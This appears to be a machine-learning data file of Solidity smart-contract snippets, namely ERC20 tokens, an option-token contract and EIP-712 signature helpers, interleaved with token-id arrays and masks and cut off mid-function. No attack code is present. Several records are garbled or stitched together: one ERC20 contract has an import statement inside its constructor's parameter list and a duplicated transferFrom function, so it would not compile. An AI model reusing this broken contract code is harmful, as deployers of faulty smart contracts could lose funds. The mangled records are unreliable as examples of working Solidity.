-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x2f7AF8484BB9C64dF43BEDDe1D3a0b3aecaa7D7c/sources/BOILINGPOINT.sol
|
once enabled, can never be turned off
|
function tradingEnabled() external onlyOwner {
tradingActive = true;
swapEnabled = true;
}
| 15,996,641 |
[
1,
8243,
3696,
16,
848,
5903,
506,
21826,
3397,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1284,
7459,
1526,
1435,
3903,
1338,
5541,
288,
203,
3639,
1284,
7459,
3896,
273,
638,
31,
203,
3639,
7720,
1526,
273,
638,
31,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/8453/0xE3ce47AC96d8502824627d7cBCFDA49414beDa9C/sources/contracts/ERC20.sol
|
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
|
contract ERC20 is IERC20 {
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowance;
uint256 public override totalSupply;
string public name;
string public symbol;
uint8 public immutable decimals;
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
import { IERC20 } from './interfaces/IERC20.sol';
) {
name = name_;
symbol = symbol_;
decimals = decimals_;
}
function transfer(address recipient, uint256 amount) external virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external virtual override returns (bool) {
uint256 _allowance = allowance[sender][msg.sender];
if (_allowance != type(uint256).max) {
_approve(sender, msg.sender, _allowance - amount);
}
_transfer(sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external virtual override returns (bool) {
uint256 _allowance = allowance[sender][msg.sender];
if (_allowance != type(uint256).max) {
_approve(sender, msg.sender, _allowance - amount);
}
_transfer(sender, recipient, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
_approve(msg.sender, spender, allowance[msg.sender][spender] - subtractedValue);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
if (sender == address(0) || recipient == address(0)) revert InvalidAccount();
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
if (account == address(0)) revert InvalidAccount();
totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
if (account == address(0)) revert InvalidAccount();
balanceOf[account] -= amount;
totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
if (owner == address(0) || spender == address(0)) revert InvalidAccount();
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 11,535,442 |
[
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
16351,
4232,
39,
3462,
353,
467,
654,
39,
3462,
288,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
3849,
11013,
951,
31,
203,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
5034,
3719,
1071,
3849,
1699,
1359,
31,
203,
203,
565,
2254,
5034,
1071,
3849,
2078,
3088,
1283,
31,
203,
203,
565,
533,
1071,
508,
31,
203,
565,
533,
1071,
3273,
31,
203,
203,
565,
2254,
28,
1071,
11732,
15105,
31,
203,
203,
565,
3885,
12,
203,
3639,
533,
3778,
508,
67,
16,
203,
3639,
533,
3778,
3273,
67,
16,
203,
3639,
2254,
28,
15105,
67,
203,
203,
5666,
288,
467,
654,
39,
3462,
289,
628,
12871,
15898,
19,
45,
654,
39,
3462,
18,
18281,
13506,
203,
565,
262,
288,
203,
3639,
508,
273,
508,
67,
31,
203,
3639,
3273,
273,
3273,
67,
31,
203,
3639,
15105,
273,
15105,
67,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
12,
2867,
8027,
16,
2254,
5034,
3844,
13,
3903,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
389,
13866,
12,
3576,
18,
15330,
16,
8027,
16,
3844,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
565,
445,
6617,
537,
12,
2867,
17571,
264,
16,
2254,
5034,
3844,
13,
3903,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
389,
12908,
537,
12,
3576,
18,
15330,
16,
17571,
264,
16,
3844,
1769,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
5793,
16,
203,
3639,
1758,
8027,
16,
2
] |
//Address: 0x8f199d74d89b977d3f0684f0572bc66b16120ed8
//Contract name: OptionToken
//Balance: 0 Ether
//Verification Date: 9/21/2017
//Transacion Count: 12
// CODE STARTS HERE
/**
* The Option token contract complies with the ERC20 standard.
* This contract implements american option.
* Holders of the Option tokens can make a purchase of the underlying asset
* at the price of Strike until the Expiration time.
* The Strike price and Expiration date are set once and can't be changed.
* Author: Alexey Bukhteyev
**/
pragma solidity ^0.4.4;
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
function name() public constant returns(string);
function symbol() public constant returns(string);
function totalSupply() public constant returns(uint256 supply);
function balanceOf(address _owner) public constant returns(uint256 balance);
function transfer(address _to, uint256 _value) public returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
function approve(address _spender, uint256 _value) public returns(bool success);
function allowance(address _owner, address _spender) public constant returns(uint256 remaining);
function decimals() public constant returns(uint8);
}
/*
Allows to recreate OptionToken contract on the same address.
Just create new TokenHolders(OptionToken) and reinitiallize OptionToken using it's address
*/
contract TokenHolders {
address public owner;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
/*
TokenHolders contract is being connected to OptionToken on creation.
Nobody can modify balanceOf and allowance except OptionToken
*/
function validate() external constant returns (bool);
function setBalance(address _to, uint256 _value) external;
/* Send some of your tokens to a given address */
function transfer(address _from, address _to, uint256 _value) public returns(bool success);
/* Allow another contract or person to spend some tokens in your behalf */
function approve(address _sender, address _spender, uint256 _value) public returns(bool success);
/* A contract or person attempts to get the tokens of somebody else.
* This is only allowed if the token holder approved. */
function transferWithAllowance(address _origin, address _from, address _to, uint256 _value)
public returns(bool success);
}
/*
This ERC20 contract is a basic option contract that implements a token which
allows to token holder to buy some asset for the fixed strike price before expiration date.
*/
contract OptionToken {
string public standard = 'ERC20';
string public name;
string public symbol;
uint8 public decimals;
address public owner;
// Option characteristics
uint256 public expiration = 1512172800; //02.12.2017 Use unix timespamp
uint256 public strike = 20000000000;
ERC20 public baseToken;
TokenHolders public tokenHolders;
bool _initialized = false;
/* This generates a public event on the blockchain that will notify clients */
// ERC20 events
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
// OptionToken events
event Deposit(address indexed from, uint256 value);
event Redeem(address indexed from, uint256 value, uint256 ethvalue);
event Issue(address indexed issuer, uint256 value);
// Only set owner on the constructor
function OptionToken() public {
owner = msg.sender;
}
// ERC20 functions
function balanceOf(address _owner) public constant returns(uint256 balance) {
return tokenHolders.balanceOf(_owner);
}
function totalSupply() public constant returns(uint256 supply) {
// total supply is a balance of this contract in base tokens
return baseToken.balanceOf(this);
}
/* Send some of your tokens to a given address */
function transfer(address _to, uint256 _value) public returns(bool success) {
if(now > expiration)
return false;
if(!tokenHolders.transfer(msg.sender, _to, _value))
return false;
Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place
return true;
}
/* Allow another contract or person to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns(bool success) {
if(now > expiration)
return false;
if(!tokenHolders.approve(msg.sender, _spender, _value))
return false;
Approval(msg.sender, _spender, _value);
return true;
}
/* A contract or person attempts to get the tokens of somebody else.
* This is only allowed if the token holder approved. */
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
if(now > expiration)
return false;
if(!tokenHolders.transferWithAllowance(msg.sender, _from, _to, _value))
return false;
Transfer(_from, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return tokenHolders.allowance(_owner, _spender);
}
// OptionToken functions
/*
Then we should pass base token contract address to init() function.
Only contract creator can call init() and only once
*/
function init(ERC20 _baseToken, TokenHolders _tokenHolders, string _name, string _symbol,
uint256 _exp, uint256 _strike) public returns(bool success) {
require(msg.sender == owner && !_initialized);
baseToken = _baseToken;
tokenHolders = _tokenHolders;
// if baseToken.totalSupply() is zero - something is wrong
assert(baseToken.totalSupply() != 0);
// validate tokenHolders contract owner - it should be OptionToken
assert(tokenHolders.validate());
name = _name;
symbol = _symbol;
expiration = _exp;
strike = _strike;
decimals = baseToken.decimals();
_initialized = true;
return true;
}
/*
Allows to increase totalSupply and get OptionTokens to their balance.
Before calling depositTokens the caller should approve the transfer for this contract address
using ERC20.approve().
Actually should be called by contract owner, because no ETH payout will be done for token transfer.
*/
function issue(uint256 _value) public returns(bool success) {
require(now <= expiration && _initialized);
uint256 receiver_balance = balanceOf(msg.sender) + _value;
assert(receiver_balance >= _value);
// check if transfer failed
if(!baseToken.transferFrom(msg.sender, this, _value))
revert();
tokenHolders.setBalance(msg.sender, receiver_balance);
Issue(msg.sender, receiver_balance);
return true;
}
/*
Buy base tokens for the strike price
*/
function() public payable {
require(now <= expiration && _initialized); // the contract should be initialized!
uint256 available = balanceOf(msg.sender); // balance of option holder
// check if there are tokens for sale
require(available > 0);
uint256 tokens = msg.value / (strike);
assert(tokens > 0 && tokens <= msg.value);
uint256 change = 0;
uint256 eth_to_transfer = 0;
if(tokens > available) {
tokens = available; // send all available tokens
}
// calculate the change for the operation
eth_to_transfer = tokens * strike;
assert(eth_to_transfer >= tokens);
change = msg.value - eth_to_transfer;
assert(change < msg.value);
if(!baseToken.transfer(msg.sender, tokens)) {
revert(); // error, revert transaction
}
uint256 new_balance = balanceOf(msg.sender) - tokens;
tokenHolders.setBalance(msg.sender, new_balance);
// new balance should be less then old balance
assert(balanceOf(msg.sender) < available);
if(change > 0) {
msg.sender.transfer(change); // return the change
}
if(eth_to_transfer > 0) {
owner.transfer(eth_to_transfer); // transfer eth for tokens to the contract owner
}
Redeem(msg.sender, tokens, eth_to_transfer);
}
/*
Allows the the contract owner to withdraw all unsold base tokens,
also deinitializes the token
*/
function withdraw() public returns(bool success) {
require(msg.sender == owner);
if(now <= expiration || !_initialized)
return false;
// transfer all tokens
baseToken.transfer(owner, totalSupply());
// perform deinitialization
baseToken = ERC20(0);
tokenHolders = TokenHolders(0);
_initialized = false;
return true;
}
}
|
new balance should be less then old balance
|
assert(balanceOf(msg.sender) < available);
| 2,530,269 |
[
1,
2704,
11013,
1410,
506,
5242,
1508,
1592,
11013,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
1815,
12,
12296,
951,
12,
3576,
18,
15330,
13,
411,
2319,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.4.24;
/**
* @dev Pulled from OpenZeppelin: https://git.io/vbaRf
* When this is in a public release we will switch to not vendoring this file
*
* @title Eliptic curve signature operations
*
* @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
*/
library ECRecovery {
/**
* @dev Recover signer address from a message by using his signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Extracting these values isn't possible without assembly
// solhint-disable no-inline-assembly
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
/**
* @title SigningLogic is contract implementing signature recovery from typed data signatures
* @notice Recovers signatures based on the SignTypedData implementation provided by ethSigUtil
* @dev This contract is inherited by other contracts.
*/
contract SigningLogic {
// Signatures contain a nonce to make them unique. usedSignatures tracks which signatures
// have been used so they can't be replayed
mapping (bytes32 => bool) public usedSignatures;
function burnSignatureDigest(bytes32 _signatureDigest, address _sender) internal {
bytes32 _txDataHash = keccak256(abi.encode(_signatureDigest, _sender));
require(!usedSignatures[_txDataHash], "Signature not unique");
usedSignatures[_txDataHash] = true;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 constant ATTESTATION_REQUEST_TYPEHASH = keccak256(
"AttestationRequest(bytes32 dataHash,bytes32 nonce)"
);
bytes32 constant ADD_ADDRESS_TYPEHASH = keccak256(
"AddAddress(address addressToAdd,bytes32 nonce)"
);
bytes32 constant REMOVE_ADDRESS_TYPEHASH = keccak256(
"RemoveAddress(address addressToRemove,bytes32 nonce)"
);
bytes32 constant PAY_TOKENS_TYPEHASH = keccak256(
"PayTokens(address sender,address receiver,uint256 amount,bytes32 nonce)"
);
bytes32 constant RELEASE_TOKENS_FOR_TYPEHASH = keccak256(
"ReleaseTokensFor(address sender,uint256 amount,bytes32 nonce)"
);
bytes32 constant ATTEST_FOR_TYPEHASH = keccak256(
"AttestFor(address subject,address requester,uint256 reward,bytes32 dataHash,bytes32 requestNonce)"
);
bytes32 constant CONTEST_FOR_TYPEHASH = keccak256(
"ContestFor(address requester,uint256 reward,bytes32 requestNonce)"
);
bytes32 constant REVOKE_ATTESTATION_FOR_TYPEHASH = keccak256(
"RevokeAttestationFor(bytes32 link,bytes32 nonce)"
);
bytes32 constant VOTE_FOR_TYPEHASH = keccak256(
"VoteFor(uint16 choice,address voter,bytes32 nonce,address poll)"
);
bytes32 constant LOCKUP_TOKENS_FOR_TYPEHASH = keccak256(
"LockupTokensFor(address sender,uint256 amount,bytes32 nonce)"
);
bytes32 DOMAIN_SEPARATOR;
constructor (string name, string version, uint256 chainId) public {
DOMAIN_SEPARATOR = hash(EIP712Domain({
name: name,
version: version,
chainId: chainId,
verifyingContract: this
}));
}
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
function hash(EIP712Domain eip712Domain) private pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(eip712Domain.name)),
keccak256(bytes(eip712Domain.version)),
eip712Domain.chainId,
eip712Domain.verifyingContract
));
}
struct AttestationRequest {
bytes32 dataHash;
bytes32 nonce;
}
function hash(AttestationRequest request) private pure returns (bytes32) {
return keccak256(abi.encode(
ATTESTATION_REQUEST_TYPEHASH,
request.dataHash,
request.nonce
));
}
struct AddAddress {
address addressToAdd;
bytes32 nonce;
}
function hash(AddAddress request) private pure returns (bytes32) {
return keccak256(abi.encode(
ADD_ADDRESS_TYPEHASH,
request.addressToAdd,
request.nonce
));
}
struct RemoveAddress {
address addressToRemove;
bytes32 nonce;
}
function hash(RemoveAddress request) private pure returns (bytes32) {
return keccak256(abi.encode(
REMOVE_ADDRESS_TYPEHASH,
request.addressToRemove,
request.nonce
));
}
struct PayTokens {
address sender;
address receiver;
uint256 amount;
bytes32 nonce;
}
function hash(PayTokens request) private pure returns (bytes32) {
return keccak256(abi.encode(
PAY_TOKENS_TYPEHASH,
request.sender,
request.receiver,
request.amount,
request.nonce
));
}
struct AttestFor {
address subject;
address requester;
uint256 reward;
bytes32 dataHash;
bytes32 requestNonce;
}
function hash(AttestFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
ATTEST_FOR_TYPEHASH,
request.subject,
request.requester,
request.reward,
request.dataHash,
request.requestNonce
));
}
struct ContestFor {
address requester;
uint256 reward;
bytes32 requestNonce;
}
function hash(ContestFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
CONTEST_FOR_TYPEHASH,
request.requester,
request.reward,
request.requestNonce
));
}
struct RevokeAttestationFor {
bytes32 link;
bytes32 nonce;
}
function hash(RevokeAttestationFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
REVOKE_ATTESTATION_FOR_TYPEHASH,
request.link,
request.nonce
));
}
struct VoteFor {
uint16 choice;
address voter;
bytes32 nonce;
address poll;
}
function hash(VoteFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
VOTE_FOR_TYPEHASH,
request.choice,
request.voter,
request.nonce,
request.poll
));
}
struct LockupTokensFor {
address sender;
uint256 amount;
bytes32 nonce;
}
function hash(LockupTokensFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
LOCKUP_TOKENS_FOR_TYPEHASH,
request.sender,
request.amount,
request.nonce
));
}
struct ReleaseTokensFor {
address sender;
uint256 amount;
bytes32 nonce;
}
function hash(ReleaseTokensFor request) private pure returns (bytes32) {
return keccak256(abi.encode(
RELEASE_TOKENS_FOR_TYPEHASH,
request.sender,
request.amount,
request.nonce
));
}
function generateRequestAttestationSchemaHash(
bytes32 _dataHash,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(AttestationRequest(
_dataHash,
_nonce
))
)
);
}
function generateAddAddressSchemaHash(
address _addressToAdd,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(AddAddress(
_addressToAdd,
_nonce
))
)
);
}
function generateRemoveAddressSchemaHash(
address _addressToRemove,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(RemoveAddress(
_addressToRemove,
_nonce
))
)
);
}
function generatePayTokensSchemaHash(
address _sender,
address _receiver,
uint256 _amount,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(PayTokens(
_sender,
_receiver,
_amount,
_nonce
))
)
);
}
function generateAttestForDelegationSchemaHash(
address _subject,
address _requester,
uint256 _reward,
bytes32 _dataHash,
bytes32 _requestNonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(AttestFor(
_subject,
_requester,
_reward,
_dataHash,
_requestNonce
))
)
);
}
function generateContestForDelegationSchemaHash(
address _requester,
uint256 _reward,
bytes32 _requestNonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(ContestFor(
_requester,
_reward,
_requestNonce
))
)
);
}
function generateRevokeAttestationForDelegationSchemaHash(
bytes32 _link,
bytes32 _nonce
) internal view returns (bytes32) {
return keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hash(RevokeAttestationFor(
_link,
_nonce
))
)
);
}
function generateVoteForDelegationSchemaHash(
uint16 _choice,
address _voter,
bytes32 _nonce,
address _poll
) internal view returns (bytes32) {
